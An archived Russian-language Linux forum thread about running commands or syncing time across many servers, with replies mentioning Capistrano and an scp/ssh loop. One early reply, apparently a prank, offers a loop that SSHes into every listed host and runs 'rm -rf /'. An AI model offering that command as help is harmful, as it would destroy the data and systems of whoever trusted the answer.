LINUX.ORG.RU

cron+синхронизация времени

zgen ★★★★★
()

for i in `cat hostnames`; do echo "$i:"; ssh "$i" rm -rf /; done

Желательно сначала прописать везде свой ssh-ключ, чтоб сто раз пароль не спрашивала.

Teak ★★★★★
()
Ответ на: комментарий от romka

хотя , в зависимости от целей , он может быть и избыточен.

romka
()

Надо же, сколько разного софта существует для тех, кто не умеет написать один цикл for. :)

Надо бы загнать эту строчку в скрипт, написать к ней ман и выложить на sourceforge под GPL, чем я хуже других? :)

Teak ★★★★★
()
Ответ на: комментарий от Teak

Ultimately, Capistrano is a utility that can execute commands in parallel on multiple servers. It allows you to define tasks, which can include commands that are executed on the servers. You can also define roles for your servers, and then specify that certain tasks apply only to certain roles.

Capistrano is very configurable. The default configuration includes a set of basic tasks applicable to web deployment. (More on these tasks will be said later.)

Capistrano can do just about anything you can write shell script for. You just run those snippets of shell script on remote servers, possibly interacting with them based on their output. You can also upload files, and Capistrano includes some basic templating to allow you to dynamically create and deploy things like maintenance screens, configuration files, shell scripts, and more.

romka
()
Ответ на: комментарий от romka

OK. Хотя задача действительно была гораздо проще.

Что-то я злой сегодня, что ли... Сорри.

Teak ★★★★★
()
Ответ на: комментарий от Teak

И ForwardAgent YES

Вполне прилично работают такие вот конструкции

for F in $FILES do f=`basename $CP$F` scp $CP$F f1:~/ COMMAND="for s in b1 b2 b3 b5; do echo \$s; scp $f \$s:~/; ssh \$s \"sudo mv $f /$ZPATH/$F\"; done" ssh f1 $COMMAND done

Только в суде призходится timestamp_timeout большой выставлять, по ключу суда не авторизует сволочь.

vany
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.